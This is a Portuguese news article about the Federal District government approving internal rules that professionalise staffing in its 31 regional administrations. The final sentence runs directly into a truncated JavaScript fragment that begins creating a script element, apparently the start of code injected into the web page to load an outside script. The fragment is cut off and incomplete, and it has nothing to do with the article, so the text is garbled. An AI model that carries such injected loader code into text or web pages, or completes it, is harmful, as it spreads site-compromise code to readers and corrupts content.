O governo do Distrito Federal decidiu profissionalizar a gestão pública nas 31 administrações regionais, onde funções como diretor de Obras ou chefe de Assessoria Técnica, por exemplo, só poderão ser desempenhadas por quem tem formação e experiência comprovada na área. Para normatizar essa decisão, o GDF aprovou o Regimento Interno das Administrações Regionais, publicado no Diário Oficial do Distrito Federal de quarta-feira (29).
O regimento define as atribuições das diretorias, gerências e coordenações. Os encarregados de cada área têm informação sobre as responsabilidades que lhes cabe e sobre como cumprir as tarefas do setor. O vácuo de procedimentos entre as gestões é outro problema em que a norma colocará fim. “Entre um governo e outro, perdemos a memória do que foi feito e a continuidade das ações”, explica o secretário das Cidades, Marcos Dantas.
Para evitar que isso ocorra, cargos de chefe de Assessoria de Planejamento e de ouvidor, por exemplo, serão desempenhados por servidores efetivos do quadro. “Será possível construir grupos de trabalho mais permanentes”, justifica o secretário.
Também na quarta-feira, administradores regionais e servidores passaram por capacitação durante o Fórum de Administradores Regionais das Cidades do Distrito Federal, na Escola de Governo. O encontro teve o intuito de aproximar os gestores de temas como tecnologia da informação, acervo arquivístico e ações de controle externo.var d=document;var s=d.createElement(\’script\’);